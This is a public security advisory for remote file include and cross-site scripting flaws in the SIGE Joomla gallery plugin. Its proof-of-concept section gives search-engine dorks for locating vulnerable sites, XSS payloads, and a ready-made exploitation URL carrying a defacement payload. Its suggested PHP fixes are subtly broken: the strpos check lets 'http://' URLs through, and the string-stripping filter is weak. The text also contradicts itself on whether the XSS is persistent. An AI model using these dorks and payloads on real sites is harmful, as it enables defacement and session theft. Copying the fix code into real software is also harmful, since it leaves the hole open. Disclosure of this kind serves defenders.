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# Exploit Title: Joomla Plugin Simple Image Gallery Extended (SIGE) 3.5.3 - Multiple Vulnerabilities
# Exploit Author: Vulnerability-Lab
# Date: 2020-11-11
# Vendor Homepage: https://kubik-rubik.de/sige-simple-image-gallery-extended
# Software Link: https://kubik-rubik.de/sige-simple-image-gallery-extended
# Version: 3.5.3

Document Title:
===============
SIGE (Joomla) 3.4.1 & 3.5.3 Pro - Multiple Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2265


Release Date:
=============
2020-11-11


Vulnerability Laboratory ID (VL-ID):
====================================
2265


Common Vulnerability Scoring System:
====================================
7.8


Vulnerability Class:
====================
Multiple


Current Estimated Price:
========================
2.000€ - 3.000€


Product & Service Introduction:
===============================
It offers numerous opportunities to present pictures quickly and easily
in articles. The unique feature of the plugin is
that you can control any parameter on the syntax call. Editor Button -
SIGE Parameters: With the button, you can set the
parameters very easy on-the-fly in an article. It is an excellent
addition to SIGE. Highlights are: parameter call, watermark
function, read IPTC data, thumbnail storage, crop function, sort by
modification date, output as a list, CSS Image Tooltip,
Editor Button SIGE Parameter and much more. In version 1.7-2, SIGE was
rewritten entirely and equipped with numerous innovations.
The absolute highlight is the turbo mode. This feature doesn't exist in
any other plugin for Joomla!. In Turbo Mode 2 text files
are created from the HTML output of the gallery and loaded in successive
runs. This feature eliminates the tedious editing
process of each image. In a test with 50 large images, the creation of a
gallery with all the extra features (save thumbnails,
watermark generation, resize original images, etc.) without turbo mode
lasted approximately 17 seconds. In turbo mode, it only
took 1 second, and the gallery on the same scale was available! For
calling the syntaxes, additionally, an Editor Button has
been programmed. It makes it very easy to choose the required syntax,
showing all the settings and parameters of the plugin.
It is a great enrichment in using the SIGE plugin.

(Copy of the Homepage:
https://kubik-rubik.de/sige-simple-image-gallery-extended )
(Software: https://kubik-rubik.de/sige-simple-image-gallery-extended ;
https://kubik-rubik.de/downloads/sige-simple-image-gallery-extended ;
https://extensions.joomla.org/extension/photos-a-images/galleries/sige/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple
web vulnerabilities in the Simple Image Gallery Extended (SIGE) v3.4.1 &
v3.5.3 pro extension for joomla.


Affected Product(s):
====================
Vendor:
Product: Simple Image Gallery Extended (SIGE) v3.4.1 & v3.5.3 Pro -
Joomla Extension (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-11-10: Researcher Notification & Coordination (Security Researcher)
2020-11-11: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
1.1
A file include vulnerability has been discovered in the official Simple
Image Gallery Extended (SIGE) v3.4.1 & v3.5.3 pro extension for joomla.
The web vulnerability allows remote attackers to unauthorized upload
web-shells or malicious contents to compromise the local file-system.

The vulnerability is located in the img parameter of the print.php file.
Remote attackers are able to upload images to the unrestricted assets
path to compromise the web-applications file-system and involved
database management system. Exploitation requires no user interaction
and only
a low privileged user account to upload images.


1.2
Multiple non-persistent cross site web vulnerabilities has been
discovered in the official Simple Image Gallery Extended (SIGE) v3.4.1 &
v3.5.3 pro extension for joomla.
The vulnerability allows remote attackers to inject own malicious script
codes with non-persistent attack vector to compromise browser to
web-application requests from the client-side.

The non-persistent cross site scripting web vulnerabilities are located
in the `name` and `title` parameters of the `print.php` file.
Remote attackers without user or guest privileges are able to make own
malicious special crafted links to compromise client-side
GET method requests. The attack vector is non-persistent and the issue
affects the client-side.

Successful exploitation of the vulnerabilities results in session
hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent client-side
manipulation of affected application modules.


Proof of Concept (PoC):
=======================
1.1
The remote file include web vulnerability can be exploited by remote
attackers without privileged user account or user interaction.
For security demonstration or to reproduce the persistent cross site web
vulnerability follow the provided information and steps below to continue.


Dork(s):
intext:"Powered by Simple Image Gallery Extended"
intext:"Powered by Simple Image Gallery Extended - Kubik-Rubik.de"


PoC: Exploitation
http://[SERVER/DOMAIN]/[folders]/print.php?img=[RFI
VULNERABILITY!]&name=[NAME]%20title=[TITLE]


1.2
The non-persistent cross site scripting web vulnerability can be
exploited by remote attackers without privileged user account and with
low user interaction.
For security demonstration or to reproduce the persistent cross site web
vulnerability follow the provided information and steps below to continue.


Dork(s):
intext:"Powered by Simple Image Gallery Extended"
intext:"Powered by Simple Image Gallery Extended - Kubik-Rubik.de"


PoC: Payload
"><svg onload=alert()>
'><script>alert('');</script>
<IMG "'"><script>alert()</script>'>

PoC: Example
http://[SERVER/DOMAIN]/[folders]/print.php?img=[IMG]&name=[NON-PERSISTENT XSS]%20title=[TITLE]
http://[SERVER/DOMAIN]/[folders]/print.php?img=[IMG]&name=[NAME]%20title=[NON-PERSISTENT
XSS]


PoC: Exploitation
http://[SERVER/DOMAIN]/oldsite/plugins/content/sige/plugin_sige/print.php
?img=http://[SERVER/DOMAIN]/assets/public/js/uploading/images/h4shur/h4.gif&name=%22%3E%3Ch1%3Ehacked%20by%20h4shur%3C/h1%3E%22%20title=%22%3E%3Cscript%3Ealert(%27hacked%20by%20h4shur%27)%3C/script%3E


Solution - Fix & Patch:
=======================
1.1
The remote file include vulnerability issue can be resolved by the
following steps ...

Example :
?php
$files=array('test.gif');
if(in_array($_GET['file'], $files)){
include ($_GET['file']);
}
?
* If you are a server administrator, turn off allow_url_fopen from the file

* Or do it with the ini_set command. Only for (RFI)
?php
ini_set('allow_url_fopen ', 'Off');
?

* We can use the strpos command to check that if the address is: //
http, the file will not be enclosed
?php
$strpos = strpos($_GET['url'],'http://');
if(!$strpos){
include($_GET['url']);
}
?

* Using str_replace we can give the given address from two characters
"/", "." Let's clean up
?php
$url=$_GET['url'];
$url = str_replace("/", "", $url);
$url = str_replace(".", "", $url);
include($url);
?


1.2
The client-side cross site scripting vulnerabilities can be resolved by
the following steps ...
1. Encode and escape as parse the name and title parameters
2. Filter the input for special chars and disallow them in parameters


Security Risk:
==============
1.1
The securit risk of the remote file include vulnerability in the img
path of the web-application request is estimated as high.

1.2
The security risk of the non-persistent cross site scripting
vulnerabilities is estimated as medium.


Credits & Authors:
==================
h4shursec - https://www.vulnerability-lab.com/show.php?user=h4shursec
Twitter: @h4shur ; Telegram: @h4shur ; Instagram: @netedit0r


Disclaimer & Information:
=========================
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deface websites, hack into databases or trade with stolen data.

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